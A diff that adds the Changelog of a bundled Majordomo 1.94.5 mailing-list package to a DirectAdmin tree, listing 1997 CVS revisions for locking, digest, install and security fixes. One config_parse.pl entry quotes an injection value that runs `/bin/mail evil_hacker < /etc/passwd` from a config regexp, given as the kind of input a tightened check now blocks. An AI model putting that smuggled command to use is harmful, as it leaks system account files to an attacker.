diff --git a/directadmin-1.62.4.tar.gz b/directadmin-1.62.4.tar.gz index b82343a..1047686 100644 Binary files a/directadmin-1.62.4.tar.gz and b/directadmin-1.62.4.tar.gz differ diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5-patched.tar.gz b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5-patched.tar.gz new file mode 100644 index 0000000..6de3bad Binary files /dev/null and b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5-patched.tar.gz differ diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Changelog b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Changelog new file mode 100644 index 0000000..2a9ea16 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Changelog @@ -0,0 +1,2418 @@ +Changes since 1.94.3: + +archive2.pl 1.10:1.9 + revision 1.10 + date: 1997/08/27 15:07:44; author: cwilson; state: Exp; lines: +22 -7 + From: coar@decus.org (Rodent of Unusual Size) + Message-id: <97071613415025@decus.org> + + o capability for 4 digit years + + However, just in case it's not, here's a patch to archive2.pl that + adds -D, -M, and -Y flags that have the same meanings as their + lower-case counterparts - except that the year is 4 digits rather + than 2. + ---------------------------- +config-test 1.18:1.17 + revision 1.18 + date: 1997/08/27 15:17:13; author: cwilson; state: Exp; lines: +3 -3 + o Checks to make sure that $log is actually a file. + ---------------------------- +config_parse.pl 1.64:1.63 + revision 1.64 + date: 1997/08/27 14:41:32; author: cwilson; state: Exp; lines: +17 -1 + [ ftp://sol.ccsf.cc.ca.us/majordomo-patches/1.94.3/config_majordomo.0 ] + + From: Bill Houle + Message-Id: <3.0.32.19970430180123.00989de0@www.sandiegoca.ncr.com> + + The following patches implement the 'welcome=yes/no' and + 'announcements=yes/no' keywords for Majordomo 1.94.3. Both features have + been requested several times on the -users mailing list. In the past I had + described how our site implemented these for 1.93 using the new_keyword() + API function call, but since I am in the process of upgrading I figured I'd + do it this time as a real patch. I submit them for local implementation and + hopeful incorporation into 1.94.4. (Yes, I know these are new features + which are not typical for inclusion in a point release. But heck, they are + so simple its laughable...) + ---------------------------- +digest 1.23:1.22 + revision 1.23 + date: 1997/08/27 14:42:52; author: cwilson; state: Exp; lines: +30 -13 + [ ftp://sol.ccsf.cc.ca.us/majordomo-patches/1.94.3/digest.0 ] + + From: Dave Wolfe + Message-Id: <199703191509.JAA11070@miaow.risc.sps.mot.com> + + These patches fix some problems recently identified in digest, but are + virtually untested. They address undefined variables when the non-C form + of configuration is used and file globbing failures (i.e. "No messages" + aborts when there are plenty of messages to digest). While I have the + highest confidence in the changes, unless someone can verify them I + can't that they be placed in the release. They should be tested + *both* with and without using the -C option. + ---------------------------- +majordomo 1.88:1.87 + revision 1.88 + date: 1997/08/27 14:55:29; author: cwilson; state: Exp; lines: +21 -41 + [ ftp://sol.ccsf.cc.ca.us/majordomo-patches/1.94.3/majordomo.0 ] + [ ftp://sol.ccsf.cc.ca.us/majordomo-patches/1.94.3/majordomo.1 ] + [ ftp://sol.ccsf.cc.ca.us/majordomo-patches/1.94.3/majordomo.2 ] + + From: Dave Wolfe + Message-Id: <199705011522.KAA14948@miaow.risc.sps.mot.com> + + o Race condition: + + The problem is a window when Mj is unsubscribing an address between the + time the list file is unlinked and the updated file is linked to the + list file name. + + From: Dave Wolfe + Message-Id: <199705022106.QAA20060@miaow.risc.sps.mot.com> + + o Config lock not being freed: + + I discovered a case when a config lock isn't freed when newconfig fails + due to errors in the settings then a following (in the same message) + config or writeconfig command fails because set_lock() is called again + without the lock ever being freed. I suppose I could make set_lock() + less picky, but the problem is actually bad logic in do_newconfig(), so + I'd rather fix that. Here's the patch against 1.94.3: + + From: Dave Wolfe + Message-Id: <199705051358.IAA15196@miaow.risc.sps.mot.com> + + o EOF tests failing due to intervening filehandle resets. + + Since I use my lockf() version of shlock.pl, I discovered that the tests + for eof on the command input stream in do_newinfo() and do_newintro() + make a rather tenuous assumption in at least one case for each function + because there's an intervening log() call (and resulting file locking) + between the last input from the command stream and the eof test on the + last filehandle read. + ---------------------------- +majordomo.pl 1.56:1.55 + revision 1.56 + date: 1997/08/27 14:58:53; author: cwilson; state: Exp; lines: +10 -10 + [ ftp://sol.ccsf.cc.ca.us/majordomo-patches/1.94.3/majordomo.pl.0 ] + + From: Dave Wolfe + Message-Id: <199705201456.JAA04154@miaow.risc.sps.mot.com> + + o Mungedomain doesn't work due to is_list_member() bug + + > > The problem I am having is that mungedomain seems not to work + > > when the subscribed person is a@b.c and the From: line in the + > > mail is a@d.b.c. [ on 1.94.3 ] + > + > You have also found a bug. It's even worse if you list a file other than + > the list in 'restrict_post'. I'm working on it but since I'm out this + > afternoon and have a training class the next 2 days, it may be awhile + > before I have a patch for it. + > + > For those who care, is_list_member() in majordomo.pl clobbers + > $clean_list before it uses it to call cf_ck_bool() to get the value + > of 'mungedomain'. Then there's the problem of it not making sure that + > get_config() has been called for $clean_list, not to mention that resend + > calls is_list_member() with the value of 'restrict_post' that might not + > even be a list at all! + + Turns out this wasn't as tricky as I feared once I made the assumption + that only the "current list" 'mungedomain' applied. Here's patches + against 1.94.3: + ---------------------------- +resend 1.86:1.85 + revision 1.86 + date: 1997/08/27 14:59:24; author: cwilson; state: Exp; lines: +4 -8 + [ ftp://sol.ccsf.cc.ca.us/majordomo-patches/1.94.3/majordomo.pl.0 ] + + From: Dave Wolfe + Message-Id: <199705201456.JAA04154@miaow.risc.sps.mot.com> + + o Mungedomain doesn't work due to is_list_member() bug + + > > The problem I am having is that mungedomain seems not to work + > > when the subscribed person is a@b.c and the From: line in the + > > mail is a@d.b.c. [ on 1.94.3 ] + > + > You have also found a bug. It's even worse if you list a file other than + > the list in 'restrict_post'. I'm working on it but since I'm out this + > afternoon and have a training class the next 2 days, it may be awhile + > before I have a patch for it. + > + > For those who care, is_list_member() in majordomo.pl clobbers + > $clean_list before it uses it to call cf_ck_bool() to get the value + > of 'mungedomain'. Then there's the problem of it not making sure that + > get_config() has been called for $clean_list, not to mention that resend + > calls is_list_member() with the value of 'restrict_post' that might not + > even be a list at all! + + Turns out this wasn't as tricky as I feared once I made the assumption + that only the "current list" 'mungedomain' applied. Here's patches + against 1.94.3: + ---------------------------- +sample.cf 1.34:1.33 + revision 1.34 + date: 1997/08/27 15:00:31; author: cwilson; state: Exp; lines: +3 -3 + [ ftp://sol.ccsf.cc.ca.us/majordomo-patches/1.94.3/sample.cf.0 ] + [ ftp://sol.ccsf.cc.ca.us/majordomo-patches/1.94.3/sample.cf.1 ] + + o Uncommented $config'default_subscribe_policy + o made the sample taboo stuff valid perl5. + ---------------------------- +wrapper.c 1.8:1.7 + revision 1.8 + date: 1997/08/27 15:01:12; author: cwilson; state: Exp; lines: +6 -4 + o Fixes security hole with ENV overrun by limiting env size. + ---------------------------- + +Changes since 1.94.2: +o Quick respin to remove spurious wrapper and fix medit. + +Changes since 1.94.1: + +Doc/list-owner-info 1.9:1.10 + revision 1.10 + date: 1997/04/05 19:18:10; author: cwilson; state: Exp; lines: +4 -4 + From: Dave Wolfe + Message-Id: <199704031832.MAA19186@miaow.risc.sps.mot.com> + o more documentation fixes. + ---------------------------- +Doc/majordomo-faq.html 1.2:1.3 + revision 1.3 + date: 1997/04/27 14:57:00; author: cwilson; state: Exp; lines: +85 -48 + latest revisions + ---------------------------- +Doc/majordomo-faq.txt 1.1:1.2 + revision 1.2 + date: 1997/04/27 14:57:05; author: cwilson; state: Exp; lines: +929 -854 + latest revisions + ---------------------------- +Doc/man/digest.1 1.3:1.4 + revision 1.4 + date: 1997/04/20 16:25:43; author: cwilson; state: Exp; lines: +5 -2 + From: Jerry Peek + Message-Id: <199704170123.SAA07648@rock.west.ora.com> + + o The three-argument form of mkdigest hasn't been covered in digest.1 + and majordomo.8 + ---------------------------- +Doc/man/majordomo.8 1.4:1.5 + revision 1.5 + date: 1997/04/20 16:25:49; author: cwilson; state: Exp; lines: +45 -3 + From: Jerry Peek + Message-Id: <199704170123.SAA07648@rock.west.ora.com> + + o The three-argument form of mkdigest hasn't been covered in digest.1 + and majordomo.8 + ---------------------------- +INSTALL 1.7:1.10 + revision 1.10 + date: 1997/04/20 16:10:30; author: cwilson; state: Exp; lines: +12 -10 + From: Dave Wolfe + Message-Id: <199704102032.PAA19530@miaow.risc.sps.mot.com> + + o More doc nits for 1.94.2 + ---------------------------- + revision 1.9 + date: 1997/03/11 10:19:33; author: cwilson; state: Exp; lines: +21 -21 + o Swap steps 8 and 9 -- alias setup before attempting to register. + ---------------------------- + revision 1.8 + date: 1997/03/11 10:11:59; author: cwilson; state: Exp; lines: +1 -1 + From: Jerry Peek + Message-ID: <17276.852523071@rubble.west.ora.com> + + o Wrong filename in 1.94.1 INSTALL file + ---------------------------- +Makefile 1.56:1.61 + revision 1.61 + date: 1997/04/27 14:55:50; author: cwilson; state: Exp; lines: +4 -7 + From: Nicole LaRock Decker + Message-ID: + + o fixes bounce-remind and bounce pointing at each other. + ---------------------------- + revision 1.60 + date: 1997/03/12 16:50:46; author: cwilson; state: Exp; lines: +5 -5 + o version 1.94.2 + ---------------------------- + revision 1.59 + date: 1997/03/11 10:15:16; author: cwilson; state: Exp; lines: +9 -4 + From: Jerry Peek + Message-ID: <15010.852502798@rubble.west.ora.com> + + o install resend.1 and bounce.1 + + Message-ID: <15389.852505074@rubble.west.ora.com> + + o change install.sh flag from -o to -O: + I'm using SunOS 4.1.3, one of the systems (with filesystem quotas) + that only allows root to use chown. As far as I can tell, the 1.94.1 + Makefile is supposed to be runnable by the Majordomo user. It fails + because install.sh tries to run chown as a non-root user: + + % make install-scripts + Testing for perl (/usr/local/bin/perl)... + Configuring scripts... + ./install.sh -m 751 -o 123 -g 45 . /tmp/majordomo + Must be root to use chown + *** Error code 1 + make: Fatal error: Command failed for target `install-scripts' + + I haven't followed this problem real closely since I griped about it + for 1.94. I'm sending a patch (below) that seems to work for 1.94.1. + + The install.sh script has two flags for setting ownership, -o and -O. + If you use -o, it seems to always do chown. But if you use -O, it will + only do chown if it's running as root. So my fix just changes that flag. + + I haven't tested this as root -- or on other systems (that let non-root + users do chown). Someone should! + ---------------------------- + revision 1.58 + date: 1997/03/11 09:59:27; author: cwilson; state: Exp; lines: +7 -3 + From: Jerry Peek + Message-ID: <3908.853689282@rubble.west.ora.com> + + o install bounce and resend man pages instead of a stub file. + ---------------------------- + revision 1.57 + date: 1997/03/10 16:08:09; author: cwilson; state: Exp; lines: +4 -4 + From: dwolfe@risc.sps.mot.com (Dave Wolfe) + Message-ID: 199701081942.NAA16946@miaow.risc.sps.mot.com + + o A little fix to help idiot-proof the installation since directories + almost always return true for "test -x": + ---------------------------- +NEWLIST 1.3:1.5 + revision 1.5 + date: 1997/04/02 10:32:06; author: cwilson; state: Exp; lines: +6 -6 + From: Dave Wolfe + Message-Id: <199703241956.NAA12000@miaow.risc.sps.mot.com> + + o 1.94 -> 1.94.2 + ---------------------------- + revision 1.4 + date: 1997/03/11 10:01:17; author: cwilson; state: Exp; lines: +10 -11 + From: Jerry Peek + Message-ID: <1447.853639763@rubble.west.ora.com> + + o small nits and typos. + ---------------------------- +README 1.36:1.38 + revision 1.38 + date: 1997/04/20 16:10:39; author: cwilson; state: Exp; lines: +4 -4 + From: Dave Wolfe + Message-Id: <199704102032.PAA19530@miaow.risc.sps.mot.com> + + o More doc nits for 1.94.2 + ---------------------------- + revision 1.37 + date: 1997/04/07 18:56:56; author: cwilson; state: Exp; lines: +19 -18 + From: Dave Wolfe + Message-Id: <199704071503.KAA16480@miaow.risc.sps.mot.com> + + o more doc fixes. + ---------------------------- +approve 1.13:1.15 + revision 1.15 + date: 1997/04/05 19:18:36; author: cwilson; state: Exp; lines: +4 -3 + o Eliminate the "apparently-to" bit + ---------------------------- + revision 1.14 + date: 1997/04/02 10:34:09; author: cwilson; state: Exp; lines: +10 -3 + o tries slightly to find the right sendmail. + ---------------------------- +config-test 1.15:1.17 + revision 1.17 + date: 1997/03/10 17:22:05; author: cwilson; state: Exp; lines: +2 -2 + make config-test execute itself with arguments if it has to. + + "I don't want to die." + "You must, and with a -foo -zot -bang" + "Oh, well, okay." + ---------------------------- + revision 1.16 + date: 1997/03/10 15:45:12; author: cwilson; state: Exp; lines: +9 -8 + From: Dave Wolfe + Message-Id: <199702262130.PAA15843@miaow.risc.sps.mot.com> + + o Patches to fix nits in config-test -w fixes primarily. + ---------------------------- +config_parse.pl 1.60:1.63 + revision 1.63 + date: 1997/04/20 16:06:58; author: cwilson; state: Exp; lines: +15 -9 + From: Dave Wolfe + Message-Id: <199704160058.TAA16410@miaow.risc.sps.mot.com> + + o tighten up the regexp check in grab_regexp_array so that + things like + 1; `/bin/mail evil_hacker < /etc/passwd` ; 0 + aren't allowed. + ---------------------------- + revision 1.62 + date: 1997/03/10 17:19:54; author: cwilson; state: Exp; lines: +17 -8 + From: Dave Wolfe + Message-Id: <199702202147.PAA14970@miaow.risc.sps.mot.com> + + o Locking patch: + + |I've suspected for quite awhile that list.config file locking had some + |holes in it. I can confirm this now by simply mailing off sequences of + |writeconfig, newconfig, config commands in each of 20 messages (although + |it doesn't take that many) at one-second intervals. I get the full array + |of aborts, warnings, invalid passwords, and even a few successes in + |response. After making the changes that generated this patch, every + |command succeeds, although the config files returned are unpredictable + |since there's no locking between each command in a message (I think + |that may also be a hole or a feature, depending on your point of view, + |but at least it doesn't clobber the file as a result). But first, a + |little background for anyone who's interested and to facilitate your + |checking that I've covered all the cases and haven't introduced yet more + |problems. + | + |There are two locking mechanisms involved in list config files. One is + |specific to the config file itself, which I'll refer to as the "L.lock", + |and is implemented through lopen() by creating a lock file with an + |"L." prefix. The other is for the set of list config files, including + |various temporary files, which I'll refer to as the "lock.LOCK" and is + |implemented by higher level functions calling set_lock() with the list + |config file name suffixed by ".LOCK" for the lock file name. + | + |The core functions which manipulate list config locking include: + | + |writeconfig -- This is a low-level function that writes a list config + |file from the current in-memory settings. It assumes the lock.LOCK is + |set but doesn't use any L.locks for either its temporary file + |(*.config.out) or the config file. + | + |get_config -- This low-level function sets the lock.LOCK and + |conditionally calls writeconfig() to set configuration defaults if no + |list config file exists. It then L.locks and reads the list config file + |to set up the in-memory configuration, releases the L.lock and then the + |lock.LOCK. + | + |do_config -- This high-level function calls get_config() but uses no + |locks while copying the list config file to the mailer to fulfill the + |request. + | + |do_newconfig -- This high-level function calls get_config(), L.locks the + |new list config file while it writes it, but releases it before setting + |the lock.LOCK while renaming the old and new list config files. + | + |do_writeconfig -- This high-level function calls get_config() and then + |calls writeconfig() without any sort of locking. + | + |digest uses lock.LOCKing in a rather brute force manner (i.e. almost the + |entire time it's working), but it's not apparent that anything less will + |work. + | + | + |Several locking windows are apparent in the high-level functions. + | + |do_config releases all locks (via get_config()) before copying the + |(possibly changed) list config file to the mailer. + | + |do_newconfig replaces the list config file with a file that it may + |not have written (since it releases the L.lock on the new file before + |obtaining the lock.LOCK), which could cause newconfig commands to appear + |to execute out of order (but this is a problem inherent in MTA queueing + |anyway), and similarly verify a password that's no longer valid if the + |list config file is replaced between the return from get_config() and + |either subsequent lock. + | + |do_writeconfig could completely mangle the list config file since it + |fails to honor any extant locks. + | + |In addition, two levels of locking seems to be overkill. A persistent + |lock such as is the lock.LOCKing is necessary and easy to use, although + |perhaps a bit coarse. Using L.locking in addition is simply needless + |overhead. + | + |The fix is to set the lock.LOCK around all list config file manipulation + |for each of the do_*config commands. Since locks can't be nested, the + |fact that the lock.LOCK is already set (and must not be released) is + |communicated to get_config by adding an optional third argument to + |get_config. When this argument is true, get_config doesn't attempt to + |set or free the lock.LOCK for the config file. Appropriate changes are + |made in each of the do_*config functions to set and free the lock.LOCK + |and call get_config with the new third argument set. Additionally, calls + |to lopen/lclose under a lock.LOCK were simplified to open/close calls to + |reduce overhead. All other calls to get_config are left as is to allow + |get_config to set the lock.LOCK while it defaults/reads the list config + |file. + | + |The following patches implement this fix to the problems noted above. + |They apply to an unpatched 1.94.1: + ---------------------------- + revision 1.61 + date: 1997/03/10 16:14:41; author: cwilson; state: Exp; lines: +43 -27 + From: dwolfe@risc.sps.mot.com (Dave Wolfe) + + o tidy up the documentation a bit. + ---------------------------- +contrib/archive_mh.pl 1.3:1.4 + revision 1.4 + date: 1997/03/10 15:40:41; author: cwilson; state: Exp; lines: +3 -3 + typo: require + ---------------------------- +contrib/makeindex.pl 1.4:1.5 + revision 1.5 + date: 1997/03/11 10:04:47; author: cwilson; state: Exp; lines: +1 -1 + From: Bill + Message-Id: <1.5.4.32.19970117000234.006bfee8@mail.nas.com> + + o catches cc:mail reply prefixes "Re[3]" + ---------------------------- +digest 1.20:1.22 + revision 1.22 + date: 1997/03/10 17:11:25; author: cwilson; state: Exp; lines: +5 -5 + o use -c configfile to specify a different config file. + ---------------------------- + revision 1.21 + date: 1997/03/10 15:49:26; author: cwilson; state: Exp; lines: +21 -14 + From: Oliver Xymoron + Message-ID: + + o This changes digest to use a reasonable default for resend_host if it + is unset. + + From: Dave Wolfe + Message-Id: <199703062200.QAA19582@miaow.risc.sps.mot.com> + + o Since I don't run any digests, I didn't give digest the same close + scrutiny, and decided it was adequate (I'd already fixed one locking + problem there). Recent analysis in light of problems experienced by + digest users (posting to Mj-users) has convinced me that there are still + a couple of problems with digest's locking. + + The first is, that no matter which kind of configuration is used, + the lock is not established until after the volume/issue counts are + read from the respective config files, which could cause incorrect + incrementing of counts. Secondly, in the case of the -C option, the + list-digest.config file is updated without being locked at all, which + could cause loss of counts or configuration parameters. + + This patch should take care of the problems so long as -C and non-C + invocations of digest are *not* used for the same list. Although the + changes are pretty straight forward, I didn't want this patch to miss + 1.94.2 so I publishing it without complete testing. I will try to run + some tests in the next week however. This is against unpatched 1.94.1. + ---------------------------- +majordomo 1.76:1.87 + revision 1.87 + date: 1997/04/20 16:11:49; author: cwilson; state: Exp; lines: +4 -3 + From: "Kendall P. Bullen" + Message-ID: + + o skip directories in do_lists. + ---------------------------- + revision 1.86 + date: 1997/04/20 16:07:30; author: cwilson; state: Exp; lines: +4 -4 + From: "Russell Steinthal" + Message-Id: <199704080042.UAA20817@mailrelay1.cc.columbia.edu> + + o help message fix. + ---------------------------- + revision 1.85 + date: 1997/04/02 11:31:15; author: cwilson; state: Exp; lines: +13 -13 + From: Brock Rozen + Message-Id: + + o Patch for text errors in 1.94.2 in majordomo + ---------------------------- + revision 1.84 + date: 1997/04/02 10:33:38; author: cwilson; state: Exp; lines: +5 -5 + o adds subscriber to notification messages sent to owner. + ---------------------------- + revision 1.83 + date: 1997/04/02 09:29:55; author: cwilson; state: Exp; lines: +9 -5 + o Fixed comment on rcs|cvs|core line + o fixed "this is version $majordomo_version" + ---------------------------- + revision 1.82 + date: 1997/03/12 16:51:00; author: cwilson; state: Exp; lines: +17 -17 + o those pesky @ signs. + ---------------------------- + revision 1.81 + date: 1997/03/11 10:44:58; author: cwilson; state: Exp; lines: +193 -4 + From: "Roger B.A. Klorese" + Message-Id: <3.0.1.32.19970120185923.0306366c@pop.queernet.org> + + o MajorDumbo help file (insert smiley here) + additional dumbo-user text from do_help. + ---------------------------- + revision 1.80 + date: 1997/03/10 17:20:00; author: cwilson; state: Exp; lines: +36 -32 + From: Dave Wolfe + Message-Id: <199702202147.PAA14970@miaow.risc.sps.mot.com> + + o Locking patch: + + |I've suspected for quite awhile that list.config file locking had some + |holes in it. I can confirm this now by simply mailing off sequences of + |writeconfig, newconfig, config commands in each of 20 messages (although + |it doesn't take that many) at one-second intervals. I get the full array + |of aborts, warnings, invalid passwords, and even a few successes in + |response. After making the changes that generated this patch, every + |command succeeds, although the config files returned are unpredictable + |since there's no locking between each command in a message (I think + |that may also be a hole or a feature, depending on your point of view, + |but at least it doesn't clobber the file as a result). But first, a + |little background for anyone who's interested and to facilitate your + |checking that I've covered all the cases and haven't introduced yet more + |problems. + | + |There are two locking mechanisms involved in list config files. One is + |specific to the config file itself, which I'll refer to as the "L.lock", + |and is implemented through lopen() by creating a lock file with an + |"L." prefix. The other is for the set of list config files, including + |various temporary files, which I'll refer to as the "lock.LOCK" and is + |implemented by higher level functions calling set_lock() with the list + |config file name suffixed by ".LOCK" for the lock file name. + | + |The core functions which manipulate list config locking include: + | + |writeconfig -- This is a low-level function that writes a list config + |file from the current in-memory settings. It assumes the lock.LOCK is + |set but doesn't use any L.locks for either its temporary file + |(*.config.out) or the config file. + | + |get_config -- This low-level function sets the lock.LOCK and + |conditionally calls writeconfig() to set configuration defaults if no + |list config file exists. It then L.locks and reads the list config file + |to set up the in-memory configuration, releases the L.lock and then the + |lock.LOCK. + | + |do_config -- This high-level function calls get_config() but uses no + |locks while copying the list config file to the mailer to fulfill the + |request. + | + |do_newconfig -- This high-level function calls get_config(), L.locks the + |new list config file while it writes it, but releases it before setting + |the lock.LOCK while renaming the old and new list config files. + | + |do_writeconfig -- This high-level function calls get_config() and then + |calls writeconfig() without any sort of locking. + | + |digest uses lock.LOCKing in a rather brute force manner (i.e. almost the + |entire time it's working), but it's not apparent that anything less will + |work. + | + | + |Several locking windows are apparent in the high-level functions. + | + |do_config releases all locks (via get_config()) before copying the + |(possibly changed) list config file to the mailer. + | + |do_newconfig replaces the list config file with a file that it may + |not have written (since it releases the L.lock on the new file before + |obtaining the lock.LOCK), which could cause newconfig commands to appear + |to execute out of order (but this is a problem inherent in MTA queueing + |anyway), and similarly verify a password that's no longer valid if the + |list config file is replaced between the return from get_config() and + |either subsequent lock. + | + |do_writeconfig could completely mangle the list config file since it + |fails to honor any extant locks. + | + |In addition, two levels of locking seems to be overkill. A persistent + |lock such as is the lock.LOCKing is necessary and easy to use, although + |perhaps a bit coarse. Using L.locking in addition is simply needless + |overhead. + | + |The fix is to set the lock.LOCK around all list config file manipulation + |for each of the do_*config commands. Since locks can't be nested, the + |fact that the lock.LOCK is already set (and must not be released) is + |communicated to get_config by adding an optional third argument to + |get_config. When this argument is true, get_config doesn't attempt to + |set or free the lock.LOCK for the config file. Appropriate changes are + |made in each of the do_*config functions to set and free the lock.LOCK + |and call get_config with the new third argument set. Additionally, calls + |to lopen/lclose under a lock.LOCK were simplified to open/close calls to + |reduce overhead. All other calls to get_config are left as is to allow + |get_config to set the lock.LOCK while it defaults/reads the list config + |file. + | + |The following patches implement this fix to the problems noted above. + |They apply to an unpatched 1.94.1: + ---------------------------- + revision 1.79 + date: 1997/03/10 17:14:28; author: cwilson; state: Exp; lines: +6 -3 + o make sure a lists command returns something for the user. + ---------------------------- + revision 1.78 + date: 1997/03/10 17:11:50; author: cwilson; state: Exp; lines: +4 -4 + o a better check to ignore RCS|CVS|core files/dirs. + ---------------------------- + revision 1.77 + date: 1997/03/10 15:55:15; author: cwilson; state: Exp; lines: +17 -11 + From: dwolfe@risc.sps.mot.com (Dave Wolfe) + Message-ID: 199612302041.OAA16225@miaow.risc.sps.mot.com + + o Fixes approve acceppeted commands lose arguments + + From: Dave Wolfe + Message-Id: <199701201709.LAA06157@miaow.risc.sps.mot.com> + ( oxymoron@waste.org (Oliver Xymoron) ) + + o Security fix: "unsubscribe *" won't mention hidden lists + + From: coar@decus.org (Rodent of Unusual Size) + Message-Id: <97012711105403@decus.org> + + o Concerning WriteConfig's creating an output file based upon the + input list name rather than the case-smashed one: found the problem. + + From: brozen@webdreams.com (Brock Rozen) + Message-ID: Pine.OSF.3.95.970106122125.11202C-100000@webdreams.com + + o Slightly different text for subscribe message + ---------------------------- +majordomo.aliases 1.1:1.2 + revision 1.2 + date: 1997/04/02 10:32:32; author: cwilson; state: Exp; lines: +3 -3 + From: Dave Wolfe + Message-Id: <199703241956.NAA12000@miaow.risc.sps.mot.com> + + o 1.94 -> 1.94.2 + ---------------------------- +majordomo.pl 1.52:1.55 + revision 1.55 + date: 1997/04/02 14:04:14; author: cwilson; state: Exp; lines: +4 -4 + o added $EX_NOUSER + ---------------------------- + revision 1.54 + date: 1997/04/02 09:12:35; author: cwilson; state: Exp; lines: +4 -4 + hack fix to ParseAddrs to allow "john doe"@x.y addresses + ---------------------------- + revision 1.53 + date: 1997/03/10 16:07:14; author: cwilson; state: Exp; lines: +27 -22 + From: Dave Wolfe + Message-Id: <199701201535.JAA13519@miaow.risc.sps.mot.com> + ^^^^^^^ MAJORDOMO-USERS ARCHIVE! ^^^^^^^^^^^^^ + + o fixes regexp at line 519 + o tidy up is_list_member to handle absolute paths in restrict_post variable. + + From: dwolfe@risc.sps.mot.com (Dave Wolfe) + Message-ID: 199702261507.JAA14866@miaow.risc.sps.mot.com + + o log file doesn't exist regexp bug + ---------------------------- +majordomo_version.pl 1.18:1.24 + revision 1.24 + date: 1997/04/27 15:05:38; author: cwilson; state: Exp; lines: +2 -2 + 1.94.2 + ---------------------------- + revision 1.23 + date: 1997/04/20 16:48:22; author: cwilson; state: Exp; lines: +2 -2 + o spin4, but really call it 1.94.2_spin4 + ---------------------------- + revision 1.22 + date: 1997/04/20 16:43:01; author: cwilson; state: Exp; lines: +2 -2 + o spin4, but call it 1.94.2. + ---------------------------- + revision 1.21 + date: 1997/04/07 18:59:16; author: cwilson; state: Exp; lines: +2 -2 + o spin 3 + ---------------------------- + revision 1.20 + date: 1997/04/02 14:05:15; author: cwilson; state: Exp; lines: +2 -2 + o spin #2 + ---------------------------- + revision 1.19 + date: 1997/03/12 16:51:16; author: cwilson; state: Exp; lines: +2 -2 + o bump the version # to .2_spin1 + ---------------------------- +medit 1.7:1.9 + revision 1.9 + date: 1997/04/27 14:56:14; author: cwilson; state: Exp; lines: +4 -3 + o chdir correctly. + ---------------------------- + revision 1.8 + date: 1997/04/20 16:25:08; author: cwilson; state: Exp; lines: +3 -3 + From: Jerry Peek + Message-Id: <199704171515.LAA02975@hrothgar.gw.com> + + o I also found what looks like another bug: if $listdir isn't defined, + then the chdir to $listdir *succeeds* and the call to die() isn't + executed. + ---------------------------- +resend 1.80:1.85 + revision 1.85 + date: 1997/04/02 14:04:48; author: cwilson; state: Exp; lines: +8 -4 + o don't abort if mailer is sendmail and sendmail exits with EX_NOUSER + ---------------------------- + revision 1.84 + date: 1997/04/02 10:39:50; author: cwilson; state: Exp; lines: +8 -3 + o Defaults for MAX_HEADER_LINE_LENGTH and MAX_TOTAL_HEADER_LENGTH + if they aren't defined. + ---------------------------- + revision 1.83 + date: 1997/04/02 09:27:17; author: cwilson; state: Exp; lines: +4 -4 + From: Dave Wolfe + Message-Id: <199703171511.JAA16200@miaow.risc.sps.mot.com> + + [ David Brownlee ] + + only check subject for admin headers if administrivia is set in list + config file. + ---------------------------- + revision 1.82 + date: 1997/03/11 16:18:33; author: cwilson; state: Exp; lines: +2 -12 + From: Dave Wolfe + Message-Id: <199701012129.PAA19165@miaow.risc.sps.mot.com> + + o This patch removes the misfeature in resend that looks for an absolute + path in the approve_passwd or -a string to use as a file containing the + actual password. Such a pathname is a security risk, can't be managed + remotely, and, if set to the list.passwd file, is a security trap for + the naive. + ---------------------------- + revision 1.81 + date: 1997/03/10 16:22:47; author: cwilson; state: Exp; lines: +15 -40 + From: Dave Wolfe + Message-Id: <199702261532.JAA13946@miaow.risc.sps.mot.com> + + o If the list is moderated, don't immediately complain about an + invalid approved header. + + From: Dave Wolfe + Message-Id: <199702121912.NAA18025@miaow.risc.sps.mot.com> + + o make sure there's a newline after message_headers and + message_footers. + + From: Dave Wolfe + Message-Id: <199701091841.MAA20902@miaow.risc.sps.mot.com> + + o fix up restrict_post code. + ---------------------------- +sample.cf 1.28:1.33 + revision 1.33 + date: 1997/04/27 14:56:45; author: cwilson; state: Exp; lines: +10 -1 + From: Earle Ake + Message-Id: <199704211308.JAA15364@hcst.net> + + o commentary for x400 stuff. + ---------------------------- + revision 1.32 + date: 1997/04/07 18:57:43; author: cwilson; state: Exp; lines: +2 -1 + From: Thomas Ritter + Message-ID: <01BC4032.AB7CB330@eze22rt.pn5.erd.siemens.at> + + o added /^subject:\s*Autoreply/i to global_taboo_headers. + ---------------------------- + revision 1.31 + date: 1997/04/02 10:33:13; author: cwilson; state: Exp; lines: +4 -2 + o Added 'cancel' to admin_headers and admin_body + o added listproc to majordomo_dont_reply. + ---------------------------- + revision 1.30 + date: 1997/03/11 10:19:46; author: cwilson; state: Exp; lines: +3 -3 + o remove globs from uptime check. + ---------------------------- + revision 1.29 + date: 1997/03/10 16:23:03; author: cwilson; state: Exp; lines: +2 -2 + fix variable typo. + ---------------------------- +shlock.pl 1.11:1.13 + revision 1.13 + date: 1997/03/10 17:01:15; author: cwilson; state: Exp; lines: +4 -4 + From: Dave Wolfe + + o more tidying. + ---------------------------- + revision 1.12 + date: 1997/03/10 16:25:23; author: cwilson; state: Exp; lines: +13 -10 + From: Dave Wolfe + Message-Id: <199612311338.HAA10833@miaow.risc.sps.mot.com> + + o more shlock tweaking. + ---------------------------- + +* Changelog: release of majordomo version 1.94 + + Big New Features in 1.94, or 3 tasty reasons to upgrade: + + ++ From: Brent Chapman + ++ The "spam patch #1" + ++ taboo_headers and taboo_body that catch and forward to the + ++ approval address anything that matches their regexps. + + ++ From: Joe Pruett + ++ The "spam patch #2" + ++ subscribe_policy = [open|auto|closed][+confirm] + ++ This implements a subscription policy that sends a confirmation + ++ number back to the subscriber, to which they have to resend + ++ to actually subscribe to the list. + + ++ The start of Access Control: Avoid the Spam. + ++ who, which, get, index, info, and intro all have + ++ _access per-list variables that can be set to one of + ++ [open|list|closed] to allow access to anyone, list members, + ++ or nobody, respectively. Naturally, any restrictions + ++ can be overridden by the 'approve' command. + + * ALL: + ! Escaped all @ signs for perl5. + ! Replaced hardcoded sendmail references with a variable. + ! Preserves ownership and permissions of files. + + * Makefile + ! big restructuring to make it easier to configure. + ! arch command is now defined, calls 'uname -m' or 'arch' as needed. + + * test / config-test + + 'test' renamed to 'config-test'. Expanded upon by darren + + stalder and Vince Skahan 